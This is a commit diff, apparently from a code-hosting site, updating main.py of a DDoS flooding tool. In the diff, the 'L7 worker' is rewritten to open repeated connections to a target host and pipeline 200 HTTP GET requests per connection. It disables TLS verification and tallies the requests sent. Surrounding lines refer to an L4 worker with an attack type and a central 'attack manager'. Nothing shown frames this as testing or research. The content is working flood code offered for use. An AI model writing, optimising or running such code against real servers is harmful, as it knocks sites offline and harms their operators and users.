Samuraiog commited on
Commit
678a01d
·
verified ·
1 Parent(s): 398ddd5

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +37 -52
main.py CHANGED
@@ -248,96 +248,81 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
248
  sock.close()
249
 
250
  # ====================================================================================
251
- # OPTIMIZED L7 WORKER PROCESS - NO THREADS!
252
  # ====================================================================================
253
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
254
- """L7 worker - manages pool of sockets in single process (NO THREADING)."""
255
  use_ssl = (port in [443, 8443])
256
  host = target_ip
257
 
258
  # Pre-build HTTP request template
259
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
260
 
261
- # Socket pool
262
- sockets = []
263
  local_counter = 0
264
  req_counter = 0
265
 
266
- # Create initial socket pool
267
- for _ in range(socket_count):
 
 
 
268
  try:
 
269
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
270
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
271
- sock.settimeout(2)
272
- sock.setblocking(False) # Non-blocking!
273
- sock.connect_ex((host, port)) # Non-blocking connect
274
 
275
  if use_ssl:
276
  import ssl as ssl_module
277
  context = ssl_module.create_default_context()
278
  context.check_hostname = False
279
  context.verify_mode = ssl_module.CERT_NONE
280
- sock = context.wrap_socket(sock, server_hostname=host, do_handshake_on_connect=False)
281
-
282
- sockets.append(sock)
283
- except:
284
- pass
285
-
286
- # Main flood loop - cycle through all sockets
287
- while not stop_event.is_set():
288
- for sock in sockets[:]: # Copy list to allow modification
289
- if stop_event.is_set():
290
- break
291
 
292
- try:
293
- # Send request
294
- request = http_template.format(req_counter).encode()
295
- sock.sendall(request)
296
- local_counter += 1
297
- req_counter += 1
298
-
299
- # Try non-blocking read
300
- try:
301
- _ = sock.recv(4096, socket.MSG_DONTWAIT)
302
- except:
303
- pass
304
 
305
- except:
306
- # Socket dead, recreate
307
  try:
308
- sock.close()
 
 
 
309
  except:
310
- pass
311
- sockets.remove(sock)
 
 
 
 
 
 
312
 
313
- # Create new socket
 
 
 
 
 
314
  try:
315
- new_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
316
- new_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
317
- new_sock.settimeout(2)
318
- new_sock.setblocking(False)
319
- new_sock.connect_ex((host, port))
320
- sockets.append(new_sock)
321
  except:
322
  pass
323
 
324
- # Batch counter updates
325
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
326
  with shared_counter.get_lock():
327
  shared_counter.value += local_counter
328
  local_counter = 0
329
 
330
- # Cleanup
331
- for sock in sockets:
332
- try:
333
- sock.close()
334
- except:
335
- pass
336
-
337
  # Final update
338
  if local_counter > 0:
339
  with shared_counter.get_lock():
340
  shared_counter.value += local_counter
 
 
341
 
342
  # ====================================================================================
343
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
 
248
  sock.close()
249
 
250
  # ====================================================================================
251
+ # SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
252
  # ====================================================================================
253
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
254
+ """L7 worker - SIMPLE APPROACH: Create socket, send burst, repeat."""
255
  use_ssl = (port in [443, 8443])
256
  host = target_ip
257
 
258
  # Pre-build HTTP request template
259
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
260
 
 
 
261
  local_counter = 0
262
  req_counter = 0
263
 
264
+ print(f"[PID {os.getpid()}] Worker started - targeting {host}:{port}", flush=True)
265
+
266
+ # SIMPLE LOOP: Connect, send many requests, disconnect, repeat
267
+ while not stop_event.is_set():
268
+ sock = None
269
  try:
270
+ # Create and connect socket
271
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
272
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
273
+ sock.settimeout(5)
274
+ sock.connect((host, port))
 
275
 
276
  if use_ssl:
277
  import ssl as ssl_module
278
  context = ssl_module.create_default_context()
279
  context.check_hostname = False
280
  context.verify_mode = ssl_module.CERT_NONE
281
+ sock = context.wrap_socket(sock, server_hostname=host)
 
 
 
 
 
 
 
 
 
 
282
 
283
+ # Send burst of requests (pipeline)
284
+ for _ in range(200): # 200 requests per connection
285
+ if stop_event.is_set():
286
+ break
 
 
 
 
 
 
 
 
287
 
 
 
288
  try:
289
+ request = http_template.format(req_counter).encode()
290
+ sock.sendall(request)
291
+ local_counter += 1
292
+ req_counter += 1
293
  except:
294
+ break
295
+
296
+ # Try to read response
297
+ try:
298
+ sock.settimeout(0.1)
299
+ _ = sock.recv(8192)
300
+ except:
301
+ pass
302
 
303
+ sock.close()
304
+
305
+ except Exception as e:
306
+ pass
307
+ finally:
308
+ if sock:
309
  try:
310
+ sock.close()
 
 
 
 
 
311
  except:
312
  pass
313
 
314
+ # Update counter in batches
315
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
316
  with shared_counter.get_lock():
317
  shared_counter.value += local_counter
318
  local_counter = 0
319
 
 
 
 
 
 
 
 
320
  # Final update
321
  if local_counter > 0:
322
  with shared_counter.get_lock():
323
  shared_counter.value += local_counter
324
+
325
+ print(f"[PID {os.getpid()}] Worker stopped - sent {local_counter} requests", flush=True)
326
 
327
  # ====================================================================================
328
  # CENTRALIZED ATTACK MANAGER (SINGLETON)